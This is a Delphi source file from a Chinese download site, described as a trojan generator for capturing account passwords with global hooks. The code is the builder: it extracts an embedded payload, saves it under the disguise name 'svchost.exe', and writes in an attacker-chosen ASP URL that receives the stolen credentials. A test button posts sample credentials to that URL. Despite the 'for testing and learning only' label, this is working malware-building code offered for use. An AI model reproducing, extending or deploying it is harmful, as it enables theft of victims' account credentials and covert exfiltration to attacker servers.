⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 unit1.pas

📁 面对面 木马生成器 完整代码 程序仅提供测试学习 全局钩子查找句柄截获 使用ASP收信 收信地址明文(测试而已没加密) //本软件主要是截获账号和密码 带了个简单发信
💻 PAS
字号:
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, jpeg, ExtCtrls, StdCtrls,
  SendMail;                    //发信

  const
OFFSET_EXE =$1DBC0;   //URL  偏移地址
 OFFSET_EXE1=$1DBD7; //结束地址

type
  TForm1 = class(TForm)
    img1: TImage;
    lbl1: TLabel;
    edt1: TEdit;
    btn1: TButton;
    btn2: TButton;
    btn3: TButton;
    img2: TImage;
    lbl2: TLabel;
    lbl3: TLabel;
    lbl4: TLabel;
    procedure btn3Click(Sender: TObject);
    procedure btn2Click(Sender: TObject);
    procedure btn1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  s:tmemorystream;  //s,s1 定义成tmemorystream全局变量

implementation

{$R *.dfm}
{$R mm.RES}

procedure TForm1.btn3Click(Sender: TObject);
begin
close;
end;

procedure TForm1.btn2Click(Sender: TObject);
begin
    PostURL(trim(edt1.text),'num='+htmlencode('帐号:'+'测试'+'----'+'密码:'+'测试查看是否收到'));     //发到ASP信箱
    MessageBox(0,'消息已经发送请进行查收!!','提示',MB_OK);
end;

procedure TForm1.btn1Click(Sender: TObject);
var
  WriteBuff, ResultFilePath, ResourcePointer: PChar;
  ResourceLocation: HRSRC;
  ResourceSize, BytesWritten: Longword;
  ResDataHandle: THandle;
  FileHandle: THandle;
  sf: TSaveDialog;
  Lexe: string;
begin
  if trim(edt1.Text) = '' then
  begin
    MessageBox(0, '请输入配置信息!!', '提示信息', mb_iconinformation);
    exit;
  end;

  begin
    sf := TSaveDialog.Create(Application);
    sf.InitialDir := Application.ExeName;
    sf.FileName := 'svchost.exe';
    sf.DefaultExt := 'exe';
    sf.Title := '生成木马文件';
    if not sf.Execute then exit;
    Lexe := trim(edt1.Text); //URL地址
    ResultFilePath := pchar(sf.FileName);
    ResourceLocation := FindResource(HInstance, 'jack', RT_RCDATA);
    if ResourceLocation <> 0 then
    begin
      ResourceSize := SizeofResource(HInstance, ResourceLocation);
      if ResourceSize <> 0 then
      begin
        ResDataHandle := LoadResource(HInstance, ResourceLocation);
        if ResDataHandle <> 0 then
        begin
          ResourcePointer := LockResource(ResDataHandle);
          if ResourcePointer <> nil then
          begin
            FileHandle := CreateFile(ResultFilePath, GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
            if FileHandle <> INVALID_HANDLE_VALUE then
            begin
              WriteFile(FileHandle, ResourcePointer^, ResourceSize, BytesWritten, nil);
              Sleep(10);
               SetFilePointer(FileHandle, OFFSET_EXE, nil, FILE_BEGIN); //EXE名称
              WriteBuff := PChar(Lexe + StringOfChar(#0, 23 - Length(Lexe)));
              WriteFile(FileHandle, WriteBuff^, 23, BytesWritten, nil);
              SetFilePointer(FileHandle, OFFSET_EXE1, nil, FILE_BEGIN);
              CloseHandle(FileHandle);
              MessageBox(0, '配置文件成功', '提示', mb_iconinformation);

            end;
          end;
        end;
      end;
    end;
  end;
end;

end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -